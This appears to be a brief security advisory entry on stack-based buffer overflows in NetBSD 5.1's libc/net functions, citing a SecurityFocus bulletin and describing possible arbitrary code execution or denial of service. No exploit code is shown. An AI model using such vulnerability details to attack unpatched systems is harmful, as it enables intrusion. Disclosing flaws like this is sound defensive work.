NetBSD 5.1 - 'libc/net' Multiple Stack Buffer Overflows

// source: https://www.securityfocus.com/bid/48528/info

NetBSD is prone to a stack-based buffer-overflow vulnerability affecting multiple functions in the 'libc/net' library.

Successful exploits may allow an attacker to execute arbitrary code in the context of the application using the affected library. Failed exploit attempts will result in a denial-of-service condition.
